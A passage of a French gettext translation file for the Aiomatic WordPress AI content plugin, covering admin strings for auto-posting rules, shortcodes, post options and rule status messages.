fonctionnalité, laissez ce champ vide. Prise en charge " "de Spintax. Vous pouvez également utiliser le shortcode " "%%random_image[keyword]%% pour importer automatiquement une image aléatoire " "à partir de Google Image Search en appliquant le filtre Creative Commons. " "Pour obtenir une image apparentée, vous pouvez également utiliser le " "shortcode %%random_image[[mot-clé]%%] : %%random_image[%%post_title%%]%%" #: res/aiomatic-amazon-list.php:1580 res/aiomatic-rules-list.php:1817 #: res/aiomatic-youtube-list.php:1601 msgid "Default Featured Image List:" msgstr "Liste des images vedettes par défaut :" #: res/aiomatic-amazon-list.php:1588 res/aiomatic-amazon-list.php:3850 #: res/aiomatic-rules-list.php:1825 res/aiomatic-rules-list.php:4304 #: res/aiomatic-youtube-list.php:363 res/aiomatic-youtube-list.php:1609 #: res/aiomatic-youtube-list.php:2756 res/aiomatic-youtube-list.php:3883 msgid "Posting Options" msgstr "Options de publication" #: res/aiomatic-amazon-list.php:1595 res/aiomatic-amazon-list.php:3854 msgid "" "Enter a HTML text that should be prepended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%language%%, %" "%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %" "%random_image_url[keyword]%%, %%random_video[keyword]%%, %" "%royalty_free_image_attribution%% - you can also use an optional parameter " "in the random_image and random_video shortcodes, which will add a percentage " "chance for the media to appear or not - example: %%random_video[keyword][60]%" "% - a video will appear in 60% of cases, in the rest of 40%, nothing will be " "returned by the shortcode - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Entrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans " "chaque article créé. Vous pouvez utiliser les shortcodes suivants : %" "%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%" "%, %%language%, %%writing_style%%, %%writing_tone%, %%sections_count%, %" "%random_sentence%%, %%random_sentence2%%, %%blog_title%, %" "%random_image[keyword]%%, %%random_image_url[keyword]%%, %" "%random_video[keyword]%%, %%royalty_free_image_attribution%% - vous pouvez " "également utiliser un paramètre facultatif dans les shortcodes random_image " "et random_video, qui ajoutera un pourcentage de chance pour que le média " "apparaisse ou non - exemple : %%random_video[keyword][60]%% - une vidéo " "apparaîtra dans 60% des cas, dans les 40% restants, rien ne sera renvoyé par " "le shortcode - Mise à jour : les shortcodes imbriqués sont également pris en " "charge (shortcodes générés par des règles provenant d'autres plugins). Vous " "pourrez également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Custom Shortcode Creator\" à partir des paramètres de la " "règle - cela vous permettra de créer des Prompts partiellement ou " "entièrement générées par l'IA qui seront utilisées pour les générateurs de " "contenu." #: res/aiomatic-amazon-list.php:1599 res/aiomatic-rules-list.php:1836 #: res/aiomatic-youtube-list.php:1620 msgid "HTML Text To Prepend To AI Created Content:" msgstr "Texte HTML à ajouter au contenu créé par l'IA :" #: res/aiomatic-amazon-list.php:1610 msgid "" "Enter a HTML text that should be appended to the AI generated content in " "each created post. You can use the following shortcodes: %%custom_html%%, %" "%custom_html2%%, %%search_keywords%%, %%all_product_titles%%, %%language%%, %" "%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, " "%%random_sentence2%%, %%blog_title%%, %%random_image[keyword]%%, %" "%random_image_url[keyword]%%, %%random_video[keyword]%%, %" "%royalty_free_image_attribution%% - you can also use an optional parameter " "in the random_image and random_video shortcodes, which will add a percentage " "chance for the media to appear or not - example: %%random_video[keyword][60]%" "% - a video will appear in 60% of cases, in the rest of 40%, nothing will be " "returned by the shortcode - Update: nested shortcodes also supported " "(shortcodes generated by rules from other plugins). You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators." msgstr "" "Entrez un texte HTML qui doit être ajouté au contenu généré par l'IA dans " "chaque article créé. Vous pouvez utiliser les shortcodes suivants : %" "%custom_html%%, %%custom_html2%%, %%search_keywords%%, %%all_product_titles%" "%, %%language%, %%writing_style%%, %%writing_tone%, %%sections_count%, %" "%random_sentence%%, %%random_sentence2%%, %%blog_title%, %" "%random_image[keyword]%%, %%random_image_url[keyword]%%, %" "%random_video[keyword]%%, %%royalty_free_image_attribution%% - vous pouvez " "également utiliser un paramètre facultatif dans les shortcodes random_image " "et random_video, qui ajoutera un pourcentage de chance pour que le média " "apparaisse ou non - exemple : %%random_video[keyword][60]%% - une vidéo " "apparaîtra dans 60% des cas, dans les 40% restants, rien ne sera renvoyé par " "le shortcode - Mise à jour : les shortcodes imbriqués sont également pris en " "charge (shortcodes générés par des règles provenant d'autres plugins). Vous " "pourrez également utiliser les shortcodes personnalisés définis dans la " "fonctionnalité \"Custom Shortcode Creator\" à partir des paramètres de la " "règle - cela vous permettra de créer des Prompts partiellement ou " "entièrement générées par l'IA qui seront utilisées pour les générateurs de " "contenu." #: res/aiomatic-amazon-list.php:1614 res/aiomatic-rules-list.php:1851 #: res/aiomatic-youtube-list.php:1635 msgid "HTML Text To Append To AI Created Content:" msgstr "Texte HTML à ajouter au contenu créé par l'IA :" #: res/aiomatic-amazon-list.php:1625 res/aiomatic-amazon-list.php:3874 #: res/aiomatic-rules-list.php:1862 res/aiomatic-rules-list.php:4328 #: res/aiomatic-youtube-list.php:1646 res/aiomatic-youtube-list.php:3907 #, php-format msgid "" "Custom AI generated content shortcode creator. If you wish to create content " "from multiple AI prompts, and use them in post content/post custom fields/" "taxonomies, you can configure this from here. Also, these shortcodes will be " "able to be used in custom fields or custom taxonomies which the plugin will " "create. Syntax for this field: shortcode_name => AI_MODEL_TO_USE @@ " "TEXTUAL_PROMPT_TO_USE (to specify multiple shortcodes and crawling values, " "separate them by a new line. Example: my_custom_shortcode => text-" "davinci-003 @@ Write a short poem. Afterwards, you can use shortcodes in any " "settings field that supports shortcodes (ex: 'HTML Text To Append To AI " "Created Content' settings field), like this: %%my_custom_shortcode%%. " "Official format is %%name_of_custom_shortcode%%" msgstr "" "Personnalisation de shortcodes pour le contenu généré par l'IA. Si vous " "souhaitez créer du contenu à partir de plusieurs Prompts IA, et les utiliser " "dans le contenu de l'article/les champs personnalisés de l'article/les " "taxonomies, vous pouvez le configurer à partir d'ici. De plus, ces " "shortcodes pourront être utilisés dans les champs personnalisés ou les " "taxonomies personnalisées que le plugin créera. Syntaxe de ce champ : " "shortcode_name => IA_MODEL_TO_USE @@ TEXTUAL_PROMPT_TO_USE (pour spécifier " "plusieurs shortcodes et valeurs de crawling, séparez-les par une nouvelle " "ligne. Exemple : my_custom_shortcode => text-davinci-003 @@ Ecrivez un petit " "poème. Ensuite, vous pouvez utiliser les shortcodes dans n'importe quel " "champ de paramétrage qui supporte les shortcodes (ex : 'HTML Text To Append " "To IA Created Content' champ de paramétrage), comme ceci : " "%%my_custom_shortcode%%. Le format officiel est %%name_of_custom_shortcode%%" #: res/aiomatic-amazon-list.php:1629 res/aiomatic-rules-list.php:1866 #: res/aiomatic-youtube-list.php:1650 msgid "Custom Shortcode Creator (Optional):" msgstr "Créateur de Shortcode / Code court personnalisé (facultatif) :" #: res/aiomatic-amazon-list.php:1640 res/aiomatic-rules-list.php:1877 #: res/aiomatic-youtube-list.php:1661 msgid "" "The AI writer might add the title of the post to the created post content. " "Check this checkbox if you want to remove the title from the post content." msgstr "" "Le rédacteur IA peut ajouter le titre de l'article au contenu de l'article " "créé. Cochez cette case si vous souhaitez supprimer le titre du contenu de " "l'article." #: res/aiomatic-amazon-list.php:1644 res/aiomatic-rules-list.php:1881 #: res/aiomatic-youtube-list.php:1665 msgid "Strip Title From Content:" msgstr "Supprimer le titre du contenu :" #: res/aiomatic-amazon-list.php:1653 res/aiomatic-amazon-list.php:3901 #: res/aiomatic-rules-list.php:1890 res/aiomatic-rules-list.php:4355 #: res/aiomatic-youtube-list.php:1674 res/aiomatic-youtube-list.php:3934 msgid "Do you want to skip spinning of posts generated by this rule?" msgstr "Voulez-vous ignorer le filtrage des messages générés par cette règle ?" #: res/aiomatic-amazon-list.php:1656 res/aiomatic-rules-list.php:1893 #: res/aiomatic-youtube-list.php:1677 msgid "Do Not Spin Posts Generated By This Rule:" msgstr "Ne pas tourner les messages générés par cette règle :" #: res/aiomatic-amazon-list.php:1665 res/aiomatic-amazon-list.php:3917 #: res/aiomatic-rules-list.php:1902 res/aiomatic-rules-list.php:4371 #: res/aiomatic-youtube-list.php:1686 res/aiomatic-youtube-list.php:3950 msgid "Do you want to skip translating of posts generated by this rule?" msgstr "" "Voulez-vous ignorer la traduction des messages générés par cette règle ?" #: res/aiomatic-amazon-list.php:1668 res/aiomatic-rules-list.php:1905 #: res/aiomatic-youtube-list.php:1689 msgid "Do Not Translate Posts Generated By This Rule:" msgstr "Ne traduisez pas les publications générées par cette règle :" #: res/aiomatic-amazon-list.php:1679 res/aiomatic-amazon-list.php:3933 #: res/aiomatic-rules-list.php:1916 res/aiomatic-rules-list.php:4387 #: res/aiomatic-youtube-list.php:1700 res/aiomatic-youtube-list.php:3966 msgid "Select if you want to process each title from the added list only once." msgstr "" "Sélectionnez cette option si vous souhaitez traiter une seule fois chaque " "titre de la liste ajoutée." #: res/aiomatic-amazon-list.php:1683 msgid "Process Each Title/Keyword Only Once:" msgstr "Ne traitez chaque titre/mot-clé qu'une seule fois :" #: res/aiomatic-amazon-list.php:1694 res/aiomatic-amazon-list.php:3950 #: res/aiomatic-rules-list.php:1931 res/aiomatic-rules-list.php:4404 #: res/aiomatic-youtube-list.php:1715 res/aiomatic-youtube-list.php:3983 msgid "" "Run regex on post content. To disable this feature, leave this field blank. " "No Regex separators are required here. You can add multiple Regex " "expressions, each on a different line." msgstr "" "Exécuter Regex sur le contenu de l'article. Pour désactiver cette " "fonctionnalité, laissez ce champ vide. Aucun séparateur Regex n'est requis " "ici. Vous pouvez ajouter plusieurs expressions Regex, chacune sur une ligne " "différente." #: res/aiomatic-amazon-list.php:1698 res/aiomatic-rules-list.php:1935 #: res/aiomatic-youtube-list.php:1719 msgid "Run Regex On Content:" msgstr "Exécutez Regex sur le contenu :" #: res/aiomatic-amazon-list.php:1714 res/aiomatic-rules-list.php:1951 #: res/aiomatic-youtube-list.php:1735 msgid "Replace Matches From Regex (Content):" msgstr "Remplacer les correspondances Regex (contenu) :" #: res/aiomatic-amazon-list.php:1726 res/aiomatic-amazon-list.php:3974 #: res/aiomatic-rules-list.php:1963 res/aiomatic-rules-list.php:4428 #: res/aiomatic-youtube-list.php:1747 res/aiomatic-youtube-list.php:4007 msgid "" "Select the author that you want to assign for the automatically generated " "posts." msgstr "" "Sélectionnez l'auteur que vous souhaitez affecter aux messages générés " "automatiquement." #: res/aiomatic-amazon-list.php:1730 res/aiomatic-rules-list.php:1967 #: res/aiomatic-youtube-list.php:1751 msgid "Post Author:" msgstr "Auteur de l’article :" #: res/aiomatic-amazon-list.php:1749 res/aiomatic-amazon-list.php:3993 #: res/aiomatic-rules-list.php:1986 res/aiomatic-rules-list.php:4447 #: res/aiomatic-youtube-list.php:1770 res/aiomatic-youtube-list.php:4026 msgid "" "Select the status that you want for the automatically generated posts to " "have." msgstr "" "Sélectionnez le statut que vous souhaitez donner aux messages générés " "automatiquement." #: res/aiomatic-amazon-list.php:1753 res/aiomatic-embeddings.php:447 #: res/aiomatic-rules-list.php:1990 res/aiomatic-spinner-list.php:2602 #: res/aiomatic-youtube-list.php:1774 msgid "Post Status:" msgstr "État de la publication  :" #: res/aiomatic-amazon-list.php:1757 res/aiomatic-amazon-list.php:4003 #: res/aiomatic-rules-list.php:1994 res/aiomatic-rules-list.php:4457 #: res/aiomatic-youtube-list.php:1778 res/aiomatic-youtube-list.php:4036 msgid "Pending -> Moderate" msgstr "En attente -> Modéré" #: res/aiomatic-amazon-list.php:1758 res/aiomatic-amazon-list.php:4008 #: res/aiomatic-rules-list.php:1995 res/aiomatic-rules-list.php:4462 #: res/aiomatic-youtube-list.php:1779 res/aiomatic-youtube-list.php:4041 msgid "Draft -> Moderate" msgstr "Projet -> Modéré" #: res/aiomatic-amazon-list.php:1759 res/aiomatic-amazon-list.php:4013 #: res/aiomatic-rules-list.php:1996 res/aiomatic-rules-list.php:4467 #: res/aiomatic-single-list.php:413 res/aiomatic-spinner-list.php:1814 #: res/aiomatic-spinner-list.php:2024 res/aiomatic-youtube-list.php:1780 #: res/aiomatic-youtube-list.php:4046 msgid "Published" msgstr "Publié" #: res/aiomatic-amazon-list.php:1760 res/aiomatic-amazon-list.php:4018 #: res/aiomatic-rules-list.php:1997 res/aiomatic-rules-list.php:4472 #: res/aiomatic-single-list.php:414 res/aiomatic-spinner-list.php:1820 #: res/aiomatic-youtube-list.php:1781 res/aiomatic-youtube-list.php:4051 msgid "Private" msgstr "Privé" #: res/aiomatic-amazon-list.php:1761 res/aiomatic-amazon-list.php:4023 #: res/aiomatic-rules-list.php:1998 res/aiomatic-rules-list.php:4477 #: res/aiomatic-single-list.php:415 res/aiomatic-spinner-list.php:1826 #: res/aiomatic-youtube-list.php:1782 res/aiomatic-youtube-list.php:4056 msgid "Trash" msgstr "Corbeille" #: res/aiomatic-amazon-list.php:1770 res/aiomatic-amazon-list.php:4029 #: res/aiomatic-rules-list.php:2007 res/aiomatic-rules-list.php:4483 #: res/aiomatic-youtube-list.php:1791 res/aiomatic-youtube-list.php:4062 msgid "Select the type (post/page) for your automatically generated item." msgstr "" "Sélectionnez le type (article/page) pour votre article généré " "automatiquement." #: res/aiomatic-amazon-list.php:1774 res/aiomatic-rules-list.php:2011 #: res/aiomatic-youtube-list.php:1795 msgid "Item Type:" msgstr "Type d'élément :" #: res/aiomatic-amazon-list.php:1798 res/aiomatic-rules-list.php:2035 #: res/aiomatic-youtube-list.php:1819 msgid "" "If your template supports 'Post Formats', than you can select one here. If " "not, leave this at it's default value." msgstr "" "Si votre modèle prend en charge les \"Post Formats\", vous pouvez en " "sélectionner un ici. Sinon, laissez la valeur par défaut." #: res/aiomatic-amazon-list.php:1802 res/aiomatic-rules-list.php:2039 #: res/aiomatic-youtube-list.php:1823 msgid "Generated Post Format:" msgstr "Format de publication généré :" #: res/aiomatic-amazon-list.php:1806 res/aiomatic-amazon-list.php:4057 #: res/aiomatic-rules-list.php:2043 res/aiomatic-rules-list.php:4511 #: res/aiomatic-youtube-list.php:1827 res/aiomatic-youtube-list.php:4090 msgid "Standard" msgstr "Standard" #: res/aiomatic-amazon-list.php:1807 res/aiomatic-amazon-list.php:4062 #: res/aiomatic-rules-list.php:2044 res/aiomatic-rules-list.php:4516 #: res/aiomatic-youtube-list.php:1828 res/aiomatic-youtube-list.php:4095 msgid "Aside" msgstr "En passant" #: res/aiomatic-amazon-list.php:1808 res/aiomatic-amazon-list.php:4067 #: res/aiomatic-rules-list.php:2045 res/aiomatic-rules-list.php:4521 #: res/aiomatic-youtube-list.php:1829 res/aiomatic-youtube-list.php:4100 msgid "Gallery" msgstr "Galerie" #: res/aiomatic-amazon-list.php:1809 res/aiomatic-amazon-list.php:4072 #: res/aiomatic-rules-list.php:2046 res/aiomatic-rules-list.php:4526 #: res/aiomatic-youtube-list.php:1830 res/aiomatic-youtube-list.php:4105 msgid "Link" msgstr "Lien" #: res/aiomatic-amazon-list.php:1810 res/aiomatic-amazon-list.php:4077 #: res/aiomatic-main.php:2681 res/aiomatic-main.php:6606 #: res/aiomatic-rules-list.php:2047 res/aiomatic-rules-list.php:4531 #: res/aiomatic-youtube-list.php:1831 res/aiomatic-youtube-list.php:4110 msgid "Image" msgstr "Image" #: res/aiomatic-amazon-list.php:1811 res/aiomatic-amazon-list.php:4082 #: res/aiomatic-rules-list.php:2048 res/aiomatic-rules-list.php:4536 #: res/aiomatic-youtube-list.php:1832 res/aiomatic-youtube-list.php:4115 msgid "Quote" msgstr "Citation" #: res/aiomatic-amazon-list.php:1812 res/aiomatic-amazon-list.php:4087 #: res/aiomatic-rules-list.php:2049 res/aiomatic-rules-list.php:4541 #: res/aiomatic-single-list.php:407 res/aiomatic-training.php:482 #: res/aiomatic-youtube-list.php:1833 res/aiomatic-youtube-list.php:4120 msgid "Status" msgstr "Statut" #: res/aiomatic-amazon-list.php:1813 res/aiomatic-amazon-list.php:4092 #: res/aiomatic-rules-list.php:2050 res/aiomatic-rules-list.php:4546 #: res/aiomatic-youtube-list.php:1834 res/aiomatic-youtube-list.php:4125 msgid "Video" msgstr "Vidéo" #: res/aiomatic-amazon-list.php:1814 res/aiomatic-amazon-list.php:4097 #: res/aiomatic-rules-list.php:2051 res/aiomatic-rules-list.php:4551 #: res/aiomatic-youtube-list.php:1835 res/aiomatic-youtube-list.php:4130 msgid "Audio" msgstr "Audio" #: res/aiomatic-amazon-list.php:1815 res/aiomatic-amazon-list.php:4102 #: res/aiomatic-rules-list.php:2052 res/aiomatic-rules-list.php:4556 #: res/aiomatic-youtube-list.php:1836 res/aiomatic-youtube-list.php:4135 msgid "Chat" msgstr "Chat" #: res/aiomatic-amazon-list.php:1824 res/aiomatic-amazon-list.php:4108 #: res/aiomatic-rules-list.php:2061 res/aiomatic-rules-list.php:4562 #: res/aiomatic-youtube-list.php:1845 res/aiomatic-youtube-list.php:4141 msgid "Do you want to enable comments for the generated posts?" msgstr "Souhaitez-vous activer les commentaires pour les messages générés ?" #: res/aiomatic-amazon-list.php:1828 res/aiomatic-rules-list.php:2065 #: res/aiomatic-youtube-list.php:1849 msgid "Enable Comments For Posts:" msgstr "Activer les commentaires pour les publications :" #: res/aiomatic-amazon-list.php:1839 res/aiomatic-rules-list.php:2076 #: res/aiomatic-youtube-list.php:1860 msgid "Do you want to enable pingbacks/trackbacks for the generated posts?" msgstr "" "Souhaitez-vous activer les pingbacks/trackbacks pour les messages générés ?" #: res/aiomatic-amazon-list.php:1843 res/aiomatic-rules-list.php:2080 #: res/aiomatic-youtube-list.php:1864 msgid "Enable Pingback/Trackback:" msgstr "Activer Pingback/Trackback :" #: res/aiomatic-amazon-list.php:1854 res/aiomatic-amazon-list.php:4140 #: res/aiomatic-rules-list.php:2091 res/aiomatic-rules-list.php:4594 #: res/aiomatic-youtube-list.php:1875 res/aiomatic-youtube-list.php:4173 msgid "" "Do you want to set a custom post publish date for posts? Set the range in " "the below field." msgstr "" "Voulez-vous définir une date de publication personnalisée pour les " "articles ? Définissez la fourchette dans le champ ci-dessous." #: res/aiomatic-amazon-list.php:1858 res/aiomatic-rules-list.php:2095 #: res/aiomatic-youtube-list.php:1879 msgid "Set a Custom Post Publish Date Range:" msgstr "Définir une plage de dates de publication d'un article personnalisé :" #: res/aiomatic-amazon-list.php:1869 res/aiomatic-amazon-list.php:4151 #: res/aiomatic-youtube-list.php:1890 res/aiomatic-youtube-list.php:4184 #, php-format msgid "" "Set the custom fields that will be set for generated posts. The syntax for " "this field is the following: custom_field_name1 => custom_field_value1, " "custom_field_name2 => custom_field_value2, ... . You will also be able to " "use the custom shortcodes defined in the 'Custom Shortcode Creator' feature " "from the rule settings - this will allow you to create partially or fully AI " "generated prompts which will be used for the content generators. You can " "also use the following topic based shortcodes: %%post_title%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%" msgstr "" "Définissez les champs personnalisés qui seront définis pour les articles " "générés. La syntaxe de ce champ est la suivante : nom_du_champ_personnalisé1 " "=> valeur_du_champ_personnalisé1, nom_du_champ_personnalisé2 => " "valeur_du_champ_personnalisé2, ... . Vous pourrez également utiliser les " "shortcodes personnalisés définis dans la fonction \"Créateur de shortcodes " "personnalisés\" à partir des paramètres de la règle - cela vous permettra de " "créer des Prompts partiellement ou entièrement générées par l'IA qui seront " "utilisées pour les générateurs de contenu. Vous pouvez également utiliser " "les shortcodes suivants basés sur les sujets : %%post_title%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%" #: res/aiomatic-amazon-list.php:1873 res/aiomatic-rules-list.php:2110 #: res/aiomatic-youtube-list.php:1894 msgid "Post Custom Fields:" msgstr "Champs personnalisés de l'article :" #: res/aiomatic-amazon-list.php:1884 res/aiomatic-amazon-list.php:4163 #: res/aiomatic-youtube-list.php:1905 res/aiomatic-youtube-list.php:4196 #, php-format msgid "" "Set the custom taxonomies that will be set for generated posts. The syntax " "for this field is the following: custom_taxonomy_name1 => " "custom_taxonomy_value1A, custom_taxonomy_value1B; custom_taxonomy_name2 => " "custom_taxonomy_value2A, custom_taxonomy_value2B; ... . You will also be " "able to use the custom shortcodes defined in the 'Custom Shortcode Creator' " "feature from the rule settings - this will allow you to create partially or " "fully AI generated prompts which will be used for the content generators. " "You can also use the following topic based shortcodes: %%post_title%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%" msgstr "" "Définissez les taxonomies personnalisées qui seront définies pour les " "articles générés. La syntaxe de ce champ est la suivante : " "custom_taxonomy_name1 => custom_taxonomy_value1A, custom_taxonomy_value1B ; " "custom_taxonomy_name2 => custom_taxonomy_value2A, " "custom_taxonomy_value2B ; ... . Vous pourrez également utiliser les " "shortcodes personnalisés définis dans la fonction \"Custom Shortcode " "Creator\" à partir des paramètres de la règle - cela vous permettra de créer " "des Prompts partiellement ou entièrement générées par l'IA qui seront " "utilisées pour les générateurs de contenu. Vous pouvez également utiliser " "les shortcodes suivants basés sur les sujets : %%post_title%%, " "%%random_sentence%%, %%random_sentence2%%, %%blog_title%%" #: res/aiomatic-amazon-list.php:1888 res/aiomatic-rules-list.php:2125 #: res/aiomatic-youtube-list.php:1909 msgid "Post Custom Taxonomies:" msgstr "Taxonomies personnalisées :" #: res/aiomatic-amazon-list.php:1900 res/aiomatic-amazon-list.php:4173 #: res/aiomatic-rules-list.php:2137 res/aiomatic-rules-list.php:4627 #: res/aiomatic-youtube-list.php:1921 res/aiomatic-youtube-list.php:4206 msgid "" "Enter a 2 letter language code that will be assigned as the WPML/Polylang " "language for posts. Example: for German, input: de" msgstr "" "Entrez un code de langue de 2 lettres qui sera assigné comme langue WPML/" "Polylang pour les articles. Exemple : pour l'allemand, entrez : de" #: res/aiomatic-amazon-list.php:1904 res/aiomatic-rules-list.php:2141 #: res/aiomatic-youtube-list.php:1925 msgid "Assign WPML/Polylang Language to Posts:" msgstr "Assigner la langue WPML/Polylang aux articles :" #: res/aiomatic-amazon-list.php:1930 res/aiomatic-rules-list.php:2167 #: res/aiomatic-youtube-list.php:1951 msgid "No info." msgstr "Pas d'information." #: res/aiomatic-amazon-list.php:1942 res/aiomatic-amazon-list.php:4319 #: res/aiomatic-embeddings.php:212 res/aiomatic-rules-list.php:2179 #: res/aiomatic-rules-list.php:4773 res/aiomatic-spinner-list.php:2222 #: res/aiomatic-youtube-list.php:1963 res/aiomatic-youtube-list.php:4352 msgid "Select an Action" msgstr "Sélectionnez une Action" #: res/aiomatic-amazon-list.php:1943 res/aiomatic-amazon-list.php:4320 #: res/aiomatic-rules-list.php:2180 res/aiomatic-rules-list.php:4774 #: res/aiomatic-youtube-list.php:1964 res/aiomatic-youtube-list.php:4353 msgid "Run This Rule Now" msgstr "Exécuter cette règle maintenant" #: res/aiomatic-amazon-list.php:1944 res/aiomatic-amazon-list.php:4321 #: res/aiomatic-rules-list.php:2181 res/aiomatic-rules-list.php:4775 #: res/aiomatic-youtube-list.php:1965 res/aiomatic-youtube-list.php:4354 msgid "Move All Posts To Trash" msgstr "Déplacer tous les messages vers la corbeille" #: res/aiomatic-amazon-list.php:1945 res/aiomatic-amazon-list.php:4322 #: res/aiomatic-rules-list.php:2182 res/aiomatic-rules-list.php:4776 #: res/aiomatic-youtube-list.php:1966 res/aiomatic-youtube-list.php:4355 msgid "Duplicate This Rule" msgstr "Dupliquer cette règle" #: res/aiomatic-amazon-list.php:1946 res/aiomatic-amazon-list.php:4323 #: res/aiomatic-rules-list.php:2183 res/aiomatic-rules-list.php:4777 #: res/aiomatic-youtube-list.php:1967 res/aiomatic-youtube-list.php:4356 msgid "Permanently Delete All Posts" msgstr "Supprimer définitivement tous les Articles" #: res/aiomatic-amazon-list.php:2170 res/aiomatic-rules-list.php:2407 #: res/aiomatic-youtube-list.php:2191 msgid "First Page" msgstr "Première page" #: res/aiomatic-amazon-list.php:2170 res/aiomatic-rules-list.php:2407 #: res/aiomatic-youtube-list.php:2191 msgid "Previous Page" msgstr "Page précédente" #: res/aiomatic-amazon-list.php:2170 res/aiomatic-limits-statistics.php:599 #: res/aiomatic-limits-statistics.php:608 #: res/aiomatic-limits-statistics.php:1687 res/aiomatic-rules-list.php:2407 #: res/aiomatic-youtube-list.php:2191 msgid "Page" msgstr "Page" #: res/aiomatic-amazon-list.php:2170 res/aiomatic-limits-statistics.php:599 #: res/aiomatic-limits-statistics.php:608 res/aiomatic-rules-list.php:2407 #: res/aiomatic-youtube-list.php:2191 msgid "of" msgstr "de" #: res/aiomatic-amazon-list.php:2170 res/aiomatic-rules-list.php:2407 #: res/aiomatic-youtube-list.php:2191 msgid "Rules Per Page:" msgstr "Règles par page :" #: res/aiomatic-amazon-list.php:2170 res/aiomatic-rules-list.php:2407 #: res/aiomatic-youtube-list.php:2191 msgid "Next Page" msgstr "Page suivante" #: res/aiomatic-amazon-list.php:2170 res/aiomatic-rules-list.php:2407 #: res/aiomatic-youtube-list.php:2191 msgid "Last Page" msgstr "Dernière page" #: res/aiomatic-amazon-list.php:2175 res/aiomatic-chatbot.php:2645 #: res/aiomatic-limits-statistics.php:1005 #: res/aiomatic-limits-statistics.php:1629 res/aiomatic-main.php:6365 #: res/aiomatic-rules-list.php:2412 res/aiomatic-spinner-list.php:2890 #: res/aiomatic-youtube-list.php:2196 msgid "Save Settings" msgstr "Enregistrer les paramètres" #: res/aiomatic-amazon-list.php:2178 res/aiomatic-rules-list.php:2415 #: res/aiomatic-youtube-list.php:2199 msgid "* = required" msgstr "* = obligatoire" #: res/aiomatic-amazon-list.php:2179 res/aiomatic-rules-list.php:2416 #: res/aiomatic-spinner-list.php:2891 res/aiomatic-youtube-list.php:2200 msgid "" "New! You can use the [aicontent]Your Prompt[/aicontent] shortcode in this or " "other" msgstr "" "Nouveau ! Vous pouvez utiliser le shortcode [aicontent]Your Prompt[/" "aicontent] dans cette page ou dans d'autres" #: res/aiomatic-amazon-list.php:2179 res/aiomatic-rules-list.php:2416 #: res/aiomatic-spinner-list.php:2891 res/aiomatic-youtube-list.php:2200 msgid "'omatic plugins created by CodeRevolution" msgstr "'omatic plugins créés par CodeRevolution" #: res/aiomatic-amazon-list.php:2179 res/aiomatic-rules-list.php:2416 #: res/aiomatic-spinner-list.php:2891 res/aiomatic-youtube-list.php:2200 msgid ", click for details:" msgstr ", cliquez pour plus de détails :" #: res/aiomatic-amazon-list.php:2179 res/aiomatic-rules-list.php:2416 #: res/aiomatic-spinner-list.php:2891 res/aiomatic-youtube-list.php:2200 msgid "Nested Shortcodes also supported!" msgstr "Les shortcodes imbriqués sont également pris en charge !" #: res/aiomatic-amazon-list.php:2179 res/aiomatic-rules-list.php:2416 #: res/aiomatic-youtube-list.php:2200 msgid "Confused about rule running status icons?" msgstr "Les icônes d'état de fonctionnement des règles vous posent problème ?" #: res/aiomatic-amazon-list.php:2179 res/aiomatic-rules-list.php:2416 #: res/aiomatic-youtube-list.php:2200 msgid "More info" msgstr "En savoir plus" #: res/aiomatic-amazon-list.php:2184 res/aiomatic-rules-list.php:2421 #: res/aiomatic-youtube-list.php:2205 msgid "In Progress" msgstr "En cours" #: res/aiomatic-amazon-list.php:2184 res/aiomatic-rules-list.php:2421 #: res/aiomatic-youtube-list.php:2205 msgid "Importing is Running" msgstr "L’importation est en cours d’exécution" #: res/aiomatic-amazon-list.php:2188 res/aiomatic-rules-list.php:2425 #: res/aiomatic-youtube-list.php:2209 msgid "Success" msgstr "Succès" #: res/aiomatic-amazon-list.php:2188 res/aiomatic-rules-list.php:2425 #: res/aiomatic-youtube-list.php:2209 msgid "New Posts Created" msgstr "Nouveaux Articles créés" #: res/aiomatic-amazon-list.php:2192 res/aiomatic-rules-list.php:2429 #: res/aiomatic-youtube-list.php:2213 msgid "Failed" msgstr "Echec" #: res/aiomatic-amazon-list.php:2192 res/aiomatic-rules-list.php:2429 #: res/aiomatic-youtube-list.php:2213 msgid "An Error Occurred." msgstr "Une erreur s'est produite." #: res/aiomatic-amazon-list.php:2192 res/aiomatic-rules-list.php:2429 #: res/aiomatic-youtube-list.php:2213 msgid "Please check 'Activity and Logging' plugin menu for details." msgstr "" "Veuillez consulter le menu du plugin \"Activité et journalisation\" pour " "plus de détails." #: res/aiomatic-amazon-list.php:2196 res/aiomatic-rules-list.php:2433 #: res/aiomatic-youtube-list.php:2217 msgid "No Change - No New Posts Created" msgstr "Aucun changement - Aucun nouveau message créé" #: res/aiomatic-amazon-list.php:2196 res/aiomatic-rules-list.php:2433 #: res/aiomatic-youtube-list.php:2217 msgid "Possible reasons:" msgstr "Raisons possibles  :" #: res/aiomatic-amazon-list.php:2202 res/aiomatic-rules-list.php:2439 #: res/aiomatic-youtube-list.php:2223 msgid "Please change rule settings, as your titles are all posted." msgstr "" "Veuillez modifier les paramètres des règles, car vos titres sont tous " "affichés." #: res/aiomatic-amazon-list.php:2704 res/aiomatic-limits-statistics.php:139 #: res/aiomatic-rules-list.php:2990 res/aiomatic-youtube-list.php:2728 msgid "Rule" msgstr "Règle" #: res/aiomatic-amazon-list.php:2715 msgid "Amazon Associate ID (Optional)" msgstr "Identifiant associé à Amazon (facultatif)" #: res/aiomatic-amazon-list.php:2723 res/aiomatic-youtube-list.php:351 #: res/aiomatic-youtube-list.php:2747 msgid "" "Set the maximum length of captions in prompts. This is useful to have, when " "captions can be very long." msgstr "" "Définissez la longueur maximale des 